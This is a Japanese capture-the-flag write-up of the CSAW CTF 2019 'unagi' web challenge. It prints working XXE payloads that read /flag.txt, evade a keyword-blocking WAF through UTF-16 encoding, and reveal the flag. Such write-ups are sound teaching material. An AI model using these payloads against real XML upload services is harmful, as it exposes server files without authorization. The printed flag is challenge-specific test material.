CSAW CTF 2019 Qualification Writeup - unagi (web 200)
登録されたユーザーの一覧とユーザーの追加ができるページが与えられる。また、Aboutを読むとflagは/flag.txt
に保存されていることがわかる。
ユーザーの追加はXMLをアップロードすることにより行うようで、以下のようなサンプルのXMLも与えられる。このパターンはXXEで解く以外に考えられないと言っても過言ではないレベル。
<users> <user> <username>alice</username> <password>passwd1</password> <name>Alice</name> <email>alice@fakesite.com</email> <group>CSAW2019</group> </user> <user> <username>bob</username> <password>passwd2</password> <name> Bob</name> <email>bob@fakesite.com</email> <group>CSAW2019</group> </user> </users>
そこで適当にググって出てきたXXEのサンプルをアップロードしてみると次のエラーメッセージが表示された。
WAF blocked uploaded file. Please try again
どうやらENTITY
, SYSTEM
やfile
がファイルに含まれているとブロックされるようである。これをバイパスするためにUTF-16でエンコードした次のようなXMLを送信してみる。
<?xml version="1.0" encoding="UTF-16"?> <!DOCTYPE name [<!ENTITY test SYSTEM 'file:///flag.txt'>]> <users> <user> <username>alice</username> <password>passwd1</password> <name>&test;</name> <email>alice@fakesite.com</email> <group>CSAW2019</group> </user> </users>
すると次のようなレスポンスが返ってきた。
XXE自体は成功しているが、どうやら文字長制限でflagまで見えていないっぽい。EmailやGroupに出力しても同様の結果となった。XXEを使うとファイルを外部に送信することもできるので、それが解法だと確信してflag.txtを外部に送信しようと頑張ったがなかなかできなかった。
ふとユーザー一覧ページを見るとIntroというXMLに含まれていない項目の存在に気づいた。試しにIntroにflagを出力させようと以下のXMLを送信してみた。
<?xml version="1.0" encoding="UTF-16"?> <!DOCTYPE intro [<!ENTITY test SYSTEM 'file:///flag.txt'>]> <users> <user> <intro>&test;</intro> </user> </users>
すると以下のような応答が返ってきた。結局これが想定解っぽい。
Intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XXEでファイルを外部送信しようとするのに結構な時間を費やしてしまった。なんでそんな意地悪するの…
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}